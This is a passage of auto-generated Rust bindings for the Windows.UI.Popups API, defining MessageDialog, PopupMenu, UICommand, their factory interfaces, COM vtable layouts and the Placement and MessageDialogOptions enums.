}
|
#![allow(unused_variables, non_upper_case_globals, non_snake_case, unused_unsafe, non_camel_case_types, dead_code, clippy::all)]
#[repr(transparent)]
#[doc(hidden)]
pub struct IMessageDialog(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for IMessageDialog {
type Vtable = IMessageDialog_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x33f59b01_5325_43ab_9ab3_bdae440e4121);
}
#[repr(C)]
#[doc(hidden)]
pub struct IMessageDialog_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::core::mem::ManuallyDrop<::windows::core::HSTRING>) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: ::core::mem::ManuallyDrop<::windows::core::HSTRING>) -> ::windows::core::HRESULT,
#[cfg(feature = "Foundation_Collections")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation_Collections"))] usize,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut u32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: u32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut u32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: u32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::core::mem::ManuallyDrop<::windows::core::HSTRING>) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: ::core::mem::ManuallyDrop<::windows::core::HSTRING>) -> ::windows::core::HRESULT,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut MessageDialogOptions) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: MessageDialogOptions) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct IMessageDialogFactory(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for IMessageDialogFactory {
type Vtable = IMessageDialogFactory_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x2d161777_a66f_4ea5_bb87_793ffa4941f2);
}
#[repr(C)]
#[doc(hidden)]
pub struct IMessageDialogFactory_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, content: ::core::mem::ManuallyDrop<::windows::core::HSTRING>, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, content: ::core::mem::ManuallyDrop<::windows::core::HSTRING>, title: ::core::mem::ManuallyDrop<::windows::core::HSTRING>, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct IPopupMenu(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for IPopupMenu {
type Vtable = IPopupMenu_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x4e9bc6dc_880d_47fc_a0a1_72b639e62559);
}
#[repr(C)]
#[doc(hidden)]
pub struct IPopupMenu_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
#[cfg(feature = "Foundation_Collections")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation_Collections"))] usize,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, invocationpoint: super::super::Foundation::Point, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, selection: super::super::Foundation::Rect, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, selection: super::super::Foundation::Rect, preferredplacement: Placement, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
);
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct IUICommand(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for IUICommand {
type Vtable = IUICommand_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x4ff93a75_4145_47ff_ac7f_dff1c1fa5b0f);
}
impl IUICommand {
pub fn Label(&self) -> ::windows::core::Result<::windows::core::HSTRING> {
let this = self;
unsafe {
let mut result__: ::core::mem::ManuallyDrop<::windows::core::HSTRING> = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::HSTRING>(result__)
}
}
pub fn SetLabel<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn Invoked(&self) -> ::windows::core::Result<UICommandInvokedHandler> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), &mut result__).from_abi::<UICommandInvokedHandler>(result__)
}
}
pub fn SetInvoked<'a, Param0: ::windows::core::IntoParam<'a, UICommandInvokedHandler>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn Id(&self) -> ::windows::core::Result<::windows::core::IInspectable> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).10)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::IInspectable>(result__)
}
}
pub fn SetId<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::IInspectable>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).11)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
}
unsafe impl ::windows::core::RuntimeType for IUICommand {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"{4ff93a75-4145-47ff-ac7f-dff1c1fa5b0f}");
}
impl ::core::convert::From<IUICommand> for ::windows::core::IUnknown {
fn from(value: IUICommand) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&IUICommand> for ::windows::core::IUnknown {
fn from(value: &IUICommand) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for IUICommand {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a IUICommand {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<IUICommand> for ::windows::core::IInspectable {
fn from(value: IUICommand) -> Self {
value.0
}
}
impl ::core::convert::From<&IUICommand> for ::windows::core::IInspectable {
fn from(value: &IUICommand) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for IUICommand {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a IUICommand {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
#[repr(C)]
#[doc(hidden)]
pub struct IUICommand_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::core::mem::ManuallyDrop<::windows::core::HSTRING>) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: ::core::mem::ManuallyDrop<::windows::core::HSTRING>) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: ::windows::core::RawPtr) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct IUICommandFactory(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for IUICommandFactory {
type Vtable = IUICommandFactory_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0xa21a8189_26b0_4676_ae94_54041bc125e8);
}
#[repr(C)]
#[doc(hidden)]
pub struct IUICommandFactory_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, label: ::core::mem::ManuallyDrop<::windows::core::HSTRING>, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, label: ::core::mem::ManuallyDrop<::windows::core::HSTRING>, action: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, label: ::core::mem::ManuallyDrop<::windows::core::HSTRING>, action: ::windows::core::RawPtr, commandid: ::windows::core::RawPtr, result__: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct MessageDialog(pub ::windows::core::IInspectable);
impl MessageDialog {
pub fn Title(&self) -> ::windows::core::Result<::windows::core::HSTRING> {
let this = self;
unsafe {
let mut result__: ::core::mem::ManuallyDrop<::windows::core::HSTRING> = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::HSTRING>(result__)
}
}
pub fn SetTitle<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
#[cfg(feature = "Foundation_Collections")]
pub fn Commands(&self) -> ::windows::core::Result<super::super::Foundation::Collections::IVector<IUICommand>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::Foundation::Collections::IVector<IUICommand>>(result__)
}
}
pub fn DefaultCommandIndex(&self) -> ::windows::core::Result<u32> {
let this = self;
unsafe {
let mut result__: u32 = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), &mut result__).from_abi::<u32>(result__)
}
}
pub fn SetDefaultCommandIndex(&self, value: u32) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).10)(::core::mem::transmute_copy(this), value).ok() }
}
pub fn CancelCommandIndex(&self) -> ::windows::core::Result<u32> {
let this = self;
unsafe {
let mut result__: u32 = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).11)(::core::mem::transmute_copy(this), &mut result__).from_abi::<u32>(result__)
}
}
pub fn SetCancelCommandIndex(&self, value: u32) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).12)(::core::mem::transmute_copy(this), value).ok() }
}
pub fn Content(&self) -> ::windows::core::Result<::windows::core::HSTRING> {
let this = self;
unsafe {
let mut result__: ::core::mem::ManuallyDrop<::windows::core::HSTRING> = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).13)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::HSTRING>(result__)
}
}
pub fn SetContent<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).14)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
#[cfg(feature = "Foundation")]
pub fn ShowAsync(&self) -> ::windows::core::Result<super::super::Foundation::IAsyncOperation<IUICommand>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).15)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::Foundation::IAsyncOperation<IUICommand>>(result__)
}
}
pub fn Options(&self) -> ::windows::core::Result<MessageDialogOptions> {
let this = self;
unsafe {
let mut result__: MessageDialogOptions = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).16)(::core::mem::transmute_copy(this), &mut result__).from_abi::<MessageDialogOptions>(result__)
}
}
pub fn SetOptions(&self, value: MessageDialogOptions) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).17)(::core::mem::transmute_copy(this), value).ok() }
}
pub fn Create<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(content: Param0) -> ::windows::core::Result<MessageDialog> {
Self::IMessageDialogFactory(|this| unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), content.into_param().abi(), &mut result__).from_abi::<MessageDialog>(result__)
})
}
pub fn CreateWithTitle<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>, Param1: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(content: Param0, title: Param1) -> ::windows::core::Result<MessageDialog> {
Self::IMessageDialogFactory(|this| unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), content.into_param().abi(), title.into_param().abi(), &mut result__).from_abi::<MessageDialog>(result__)
})
}
pub fn IMessageDialogFactory<R, F: FnOnce(&IMessageDialogFactory) -> ::windows::core::Result<R>>(callback: F) -> ::windows::core::Result<R> {
static mut SHARED: ::windows::core::FactoryCache<MessageDialog, IMessageDialogFactory> = ::windows::core::FactoryCache::new();
unsafe { SHARED.call(callback) }
}
}
unsafe impl ::windows::core::RuntimeType for MessageDialog {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.UI.Popups.MessageDialog;{33f59b01-5325-43ab-9ab3-bdae440e4121})");
}
unsafe impl ::windows::core::Interface for MessageDialog {
type Vtable = IMessageDialog_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x33f59b01_5325_43ab_9ab3_bdae440e4121);
}
impl ::windows::core::RuntimeName for MessageDialog {
const NAME: &'static str = "Windows.UI.Popups.MessageDialog";
}
impl ::core::convert::From<MessageDialog> for ::windows::core::IUnknown {
fn from(value: MessageDialog) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&MessageDialog> for ::windows::core::IUnknown {
fn from(value: &MessageDialog) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for MessageDialog {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a MessageDialog {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<MessageDialog> for ::windows::core::IInspectable {
fn from(value: MessageDialog) -> Self {
value.0
}
}
impl ::core::convert::From<&MessageDialog> for ::windows::core::IInspectable {
fn from(value: &MessageDialog) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for MessageDialog {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a MessageDialog {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: marker :: Copy, :: core :: clone :: Clone, :: core :: default :: Default, :: core :: fmt :: Debug)]
#[repr(transparent)]
pub struct MessageDialogOptions(pub u32);
impl MessageDialogOptions {
pub const None: MessageDialogOptions = MessageDialogOptions(0u32);
pub const AcceptUserInputAfterDelay: MessageDialogOptions = MessageDialogOptions(1u32);
}
impl ::core::convert::From<u32> for MessageDialogOptions {
fn from(value: u32) -> Self {
Self(value)
}
}
unsafe impl ::windows::core::Abi for MessageDialogOptions {
type Abi = Self;
}
unsafe impl ::windows::core::RuntimeType for MessageDialogOptions {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"enum(Windows.UI.Popups.MessageDialogOptions;u4)");
}
impl ::windows::core::DefaultType for MessageDialogOptions {
type DefaultType = Self;
}
impl ::core::ops::BitOr for MessageDialogOptions {
type Output = Self;
fn bitor(self, rhs: Self) -> Self {
Self(self.0 | rhs.0)
}
}
impl ::core::ops::BitAnd for MessageDialogOptions {
type Output = Self;
fn bitand(self, rhs: Self) -> Self {
Self(self.0 & rhs.0)
}
}
impl ::core::ops::BitOrAssign for MessageDialogOptions {
fn bitor_assign(&mut self, rhs: Self) {
self.0.bitor_assign(rhs.0)
}
}
impl ::core::ops::BitAndAssign for MessageDialogOptions {
fn bitand_assign(&mut self, rhs: Self) {
self.0.bitand_assign(rhs.0)
}
}
impl ::core::ops::Not for MessageDialogOptions {
type Output = Self;
fn not(self) -> Self {
Self(self.0.not())
}
}
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: marker :: Copy, :: core :: clone :: Clone, :: core :: default :: Default, :: core :: fmt :: Debug)]
#[repr(transparent)]
pub struct Placement(pub i32);
impl Placement {
pub const Default: Placement = Placement(0i32);
pub const Above: Placement = Placement(1i32);
pub const Below: Placement = Placement(2i32);
pub const Left: Placement = Placement(3i32);
pub const Right: Placement = Placement(4i32);
}
impl ::core::convert::From<i32> for Placement {
fn from(value: i32) -> Self {
Self(value)
}
}
unsafe impl ::windows::core::Abi for Placement {
type Abi = Self;
}
unsafe impl ::windows::core::RuntimeType for Placement {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"enum(Windows.UI.Popups.Placement;i4)");
}
impl ::windows::core::DefaultType for Placement {
type DefaultType = Self;
}
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct PopupMenu(pub ::windows::core::IInspectable);
impl PopupMenu {
pub fn new() -> ::windows::core::Result<Self> {
Self::IActivationFactory(|f| f.activate_instance::<Self>())
}
fn IActivationFactory<R, F: FnOnce(&::windows::core::IActivationFactory) -> ::windows::core::Result<R>>(callback: F) -> ::windows::core::Result<R> {
static mut SHARED: ::windows::core::FactoryCache<PopupMenu, ::windows::core::IActivationFactory> = ::windows::core::FactoryCache::new();
unsafe { SHARED.call(callback) }
}
#[cfg(feature = "Foundation_Collections")]
pub fn Commands(&self) -> ::windows::core::Result<super::super::Foundation::Collections::IVector<IUICommand>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::Foundation::Collections::IVector<IUICommand>>(result__)
}
}
#[cfg(feature = "Foundation")]
pub fn ShowAsync<'a, Param0: ::windows::core::IntoParam<'a, super::super::Foundation::Point>>(&self, invocationpoint: Param0) -> ::windows::core::Result<super::super::Foundation::IAsyncOperation<IUICommand>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), invocationpoint.into_param().abi(), &mut result__).from_abi::<super::super::Foundation::IAsyncOperation<IUICommand>>(result__)
}
}
#[cfg(feature = "Foundation")]
pub fn ShowAsyncWithRect<'a, Param0: ::windows::core::IntoParam<'a, super::super::Foundation::Rect>>(&self, selection: Param0) -> ::windows::core::Result<super::super::Foundation::IAsyncOperation<IUICommand>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), selection.into_param().abi(), &mut result__).from_abi::<super::super::Foundation::IAsyncOperation<IUICommand>>(result__)
}
}
#[cfg(feature = "Foundation")]
pub fn ShowAsyncWithRectAndPlacement<'a, Param0: ::windows::core::IntoParam<'a, super::super::Foundation::Rect>>(&self, selection: Param0, preferredplacement: Placement) -> ::windows::core::Result<super::super::Foundation::IAsyncOperation<IUICommand>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), selection.into_param().abi(), preferredplacement, &mut result__).from_abi::<super::super::Foundation::IAsyncOperation<IUICommand>>(result__)
}
}
}
unsafe impl ::windows::core::RuntimeType for PopupMenu {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.UI.Popups.PopupMenu;{4e9bc6dc-880d-47fc-a0a1-72b639e62559})");
}
unsafe impl ::windows::core::Interface for PopupMenu {
type Vtable = IPopupMenu_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x4e9bc6dc_880d_47fc_a0a1_72b639e62559);
}
impl ::windows::core::RuntimeName for PopupMenu {
const NAME: &'static str = "Windows.UI.Popups.PopupMenu";
}
impl ::core::convert::From<PopupMenu> for ::windows::core::IUnknown {
fn from(value: PopupMenu) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&PopupMenu> for ::windows::core::IUnknown {
fn from(value: &PopupMenu) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for PopupMenu {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a PopupMenu {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<PopupMenu> for ::windows::core::IInspectable {
fn from(value: PopupMenu) -> Self {
value.0
}
}
impl ::core::convert::From<&PopupMenu> for ::windows::core::IInspectable {
fn from(value: &PopupMenu) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for PopupMenu {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a PopupMenu {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct UICommand(pub ::windows::core::IInspectable);
impl UICommand {
pub fn new() -> ::windows::core::Result<Self> {
Self::IActivationFactory(|f| f.activate_instance::<Self>())
}
fn IActivationFactory<R, F: FnOnce(&::windows::core::IActivationFactory) -> ::windows::core::Result<R>>(callback: F) -> ::windows::core::Result<R> {
static mut SHARED: ::windows::core::FactoryCache<UICommand, ::windows::core::IActivationFactory> = ::windows::core::FactoryCache::new();
unsafe { SHARED.call(callback) }
}
pub fn Label(&self) -> ::windows::core::Result<::windows::core::HSTRING> {
let this = self;
unsafe {
let mut result__: ::core::mem::ManuallyDrop<::windows::core::HSTRING> = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::HSTRING>(result__)
}
}
pub fn SetLabel<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn Invoked(&self) -> ::windows::core::Result<UICommandInvokedHandler> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), &mut result__).from_abi::<UICommandInvokedHandler>(result__)
}
}
pub fn SetInvoked<'a, Param0: ::windows::core::IntoParam<'a, UICommandInvokedHandler>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn Id(&self) -> ::windows::core::Result<::windows::core::IInspectable> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).10)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::IInspectable>(result__)
}
}
pub fn SetId<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::IInspectable>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).11)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn Create<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(label: Param0) -> ::windows::core::Result<UICommand> {
Self::IUICommandFactory(|this| unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), label.into_param().abi(), &mut result__).from_abi::<UICommand>(result__)
})
}
